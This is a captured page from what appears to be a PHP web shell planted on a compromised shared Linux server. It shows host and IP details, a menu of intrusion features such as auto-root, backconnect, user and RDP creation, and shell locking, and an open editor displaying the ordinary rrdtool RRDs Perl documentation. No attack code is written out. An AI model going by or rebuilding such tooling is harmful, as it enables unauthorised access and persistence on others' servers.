Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
rrdtool /
html /
[ HOME SHELL ]
Name
Size
Permission
Action
RRDp.html
4.03
KB
-rw-r--r--
RRDs.html
7.03
KB
-rw-r--r--
bin_dec_hex.html
14.28
KB
-rw-r--r--
cdeftutorial.html
35.33
KB
-rw-r--r--
index.html
14.72
KB
-rw-r--r--
librrd.html
22.35
KB
-rw-r--r--
rpntutorial.html
8.12
KB
-rw-r--r--
rrd-beginners.html
15.98
KB
-rw-r--r--
rrd_pdpcalc.html
9.73
KB
-rw-r--r--
rrdbuild.html
12.97
KB
-rw-r--r--
rrdcached.html
34.68
KB
-rw-r--r--
rrdcgi.html
8.55
KB
-rw-r--r--
rrdcreate.html
36.18
KB
-rw-r--r--
rrddump.html
3.58
KB
-rw-r--r--
rrdfetch.html
14.91
KB
-rw-r--r--
rrdfirst.html
1.67
KB
-rw-r--r--
rrdflushcached.html
2.2
KB
-rw-r--r--
rrdgraph.html
28.12
KB
-rw-r--r--
rrdgraph_data.html
7.24
KB
-rw-r--r--
rrdgraph_examples.html
8.21
KB
-rw-r--r--
rrdgraph_graph.html
23.73
KB
-rw-r--r--
rrdgraph_libdbi.html
8.34
KB
-rw-r--r--
rrdgraph_rpn.html
20.43
KB
-rw-r--r--
rrdinfo.html
3.47
KB
-rw-r--r--
rrdlast.html
2.02
KB
-rw-r--r--
rrdlastupdate.html
2.01
KB
-rw-r--r--
rrdlist.html
2
KB
-rw-r--r--
rrdresize.html
1.93
KB
-rw-r--r--
rrdrestore.html
2.05
KB
-rw-r--r--
rrdthreads.html
4.8
KB
-rw-r--r--
rrdtool.html
14.72
KB
-rw-r--r--
rrdtune.html
14.63
KB
-rw-r--r--
rrdtutorial.html
54.76
KB
-rw-r--r--
rrdupdate.html
8.4
KB
-rw-r--r--
rrdxport.html
10.16
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : RRDs.html
<?xml version="1.0" ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>RRDs</title> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <link rev="made" href="mailto:root@localhost" /> </head> <body> <h1 id="NAME">NAME</h1> <p>RRDs - Access RRDtool as a shared module</p> <h1 id="SYNOPSIS">SYNOPSIS</h1> <pre><code>use RRDs; RRDs::error RRDs::last ... RRDs::info ... RRDs::create ... RRDs::update ... RRDs::updatev ... RRDs::graph ... RRDs::fetch ... RRDs::tune ... RRDs::times(start, end) RRDs::dump ... RRDs::restore ... RRDs::flushcached ... RRDs::register_fetch_cb ... $RRDs::VERSION</code></pre> <h1 id="DESCRIPTION">DESCRIPTION</h1> <h2 id="Calling-Sequence">Calling Sequence</h2> <p>This module accesses RRDtool functionality directly from within Perl. The arguments to the functions listed in the SYNOPSIS are explained in the regular RRDtool documentation. The command line call</p> <pre><code>rrdtool update mydemo.rrd --template in:out N:12:13</code></pre> <p>gets turned into</p> <pre><code>RRDs::update ("mydemo.rrd", "--template", "in:out", "N:12:13");</code></pre> <p>Note that</p> <pre><code>--template=in:out</code></pre> <p>is also valid.</p> <p>The RRDs::times function takes two parameters: a "start" and "end" time. These should be specified in the <b>AT-STYLE TIME SPECIFICATION</b> format used by RRDtool. See the <b>rrdfetch</b> documentation for a detailed explanation on how to specify time.</p> <h2 id="Error-Handling">Error Handling</h2> <p>The RRD functions will not abort your program even when they cannot make sense out of the arguments you fed them.</p> <p>The function RRDs::error should be called to get the error status after each function call. If RRDs::error does not return anything then the previous function has completed its task successfully.</p> <pre><code>use RRDs; RRDs::update ("mydemo.rrd","N:12:13"); my $ERR=RRDs::error; die "ERROR while updating mydemo.rrd: $ERR\n" if $ERR;</code></pre> <h2 id="Return-Values">Return Values</h2> <p>The functions RRDs::last, RRDs::graph, RRDs::info, RRDs::fetch and RRDs::times return their findings.</p> <p><b>RRDs::last</b> returns a single INTEGER representing the last update time.</p> <pre><code>$lastupdate = RRDs::last ...</code></pre> <p><b>RRDs::graph</b> returns an ARRAY containing the x-size and y-size of the created image and a pointer to an array with the results of the PRINT arguments.</p> <pre><code>($result_arr,$xsize,$ysize) = RRDs::graph ... print "Imagesize: ${xsize}x${ysize}\n"; print "Averages: ", (join ", ", @$averages);</code></pre> <p><b>RRDs::info</b> returns a pointer to a hash. The keys of the hash represent the property names of the RRD and the values of the hash are the values of the properties.</p> <pre><code>$hash = RRDs::info "example.rrd"; foreach my $key (keys %$hash){ print "$key = $$hash{$key}\n"; }</code></pre> <p><b>RRDs::graphv</b> takes the same parameters as <b>RRDs::graph</b> but it returns a pointer to hash. The hash returned contains meta information about the graph. Like its size as well as the position of the graph area on the image. When calling with '-' as the filename then the contents of the graph will be returned in the hash as well (key 'image').</p> <p><b>RRDs::updatev</b> also returns a pointer to hash. The keys of the hash are concatenated strings of a timestamp, RRA index, and data source name for each consolidated data point (CDP) written to disk as a result of the current update call. The hash values are CDP values.</p> <p><b>RRDs::fetch</b> is the most complex of the pack regarding return values. There are 4 values. Two normal integers, a pointer to an array and a pointer to an array of pointers.</p> <pre><code>my ($start,$step,$names,$data) = RRDs::fetch ... print "Start: ", scalar localtime($start), " ($start)\n"; print "Step size: $step seconds\n"; print "DS names: ", join (", ", @$names)."\n"; print "Data points: ", $#$data + 1, "\n"; print "Data:\n"; for my $line (@$data) { print " ", scalar localtime($start), " ($start) "; $start += $step; for my $val (@$line) { printf "%12.1f ", $val; } print "\n"; }</code></pre> <p><b>RRDs::xport</b> exposes the <a href="./rrdxport.html">rrdxport</a> functionality and returns data with the following structure:</p> <pre><code> my ($start,$end,$step,$cols,$names,$data) = RRDs::xport ... # $start : timestamp # $end : timestamp # $step : seconds # $cols : number of returned columns # $names : arrayref with the names of the columns # $data : arrayref of arrayrefs with the data (first index is time, second is column)</code></pre> <p><b>RRDs::times</b> returns two integers which are the number of seconds since epoch (1970-01-01) for the supplied "start" and "end" arguments, respectively.</p> <p>See the examples directory for more ways to use this extension.</p> <h2 id="Fetch-Callback-Function">Fetch Callback Function</h2> <p>Normally when using graph, xport or fetch the data you see will come from an actual rrd file. Some people who like the look of rrd charts, therefore export their data from a database and then load it into an rrd file just to be able to call rrdgraph on it. Using a custom callback, you can supply your own code for handling the data requests from graph, xport and fetch.</p> <p>To do this, you have to first write a fetch function in perl, and then register this function using <code>RRDs::fetch_register_callback</code>.</p> <p>Finally you can use the pseudo path name <b>cb//</b>[<i>filename</i>] to tell rrdtool to use your callback routine instead of the normal rrdtool fetch function to organize the data required.</p> <p>The callback function must look like this:</p> <pre><code>sub fetch_callback { my $args_hash = shift; # { # filename => 'cb//somefilename', # cd => 'AVERAGE', # start => 1401295291, # end => 1401295591, # step => 300 } # do some clever thing to get that data ready return { start => $unix_timestamp, step => $step_width, data => { dsName1 => [ value1, value2, ... ], dsName2 => [ value1, value2, ... ], dsName3 => [ value1, value2, ... ], } }; }</code></pre> <h1 id="NOTE">NOTE</h1> <p>If you are manipulating the TZ variable you should also call the POSIX function <a href="http://man.he.net/man3/tzset">tzset(3)</a> to initialize all internal states of the library for properly operating in the timezone of your choice.</p> <pre><code>use POSIX qw(tzset); $ENV{TZ} = 'CET'; POSIX::tzset(); </code></pre> <h1 id="AUTHOR">AUTHOR</h1> <p>Tobias Oetiker <tobi@oetiker.ch></p> </body> </html>
Close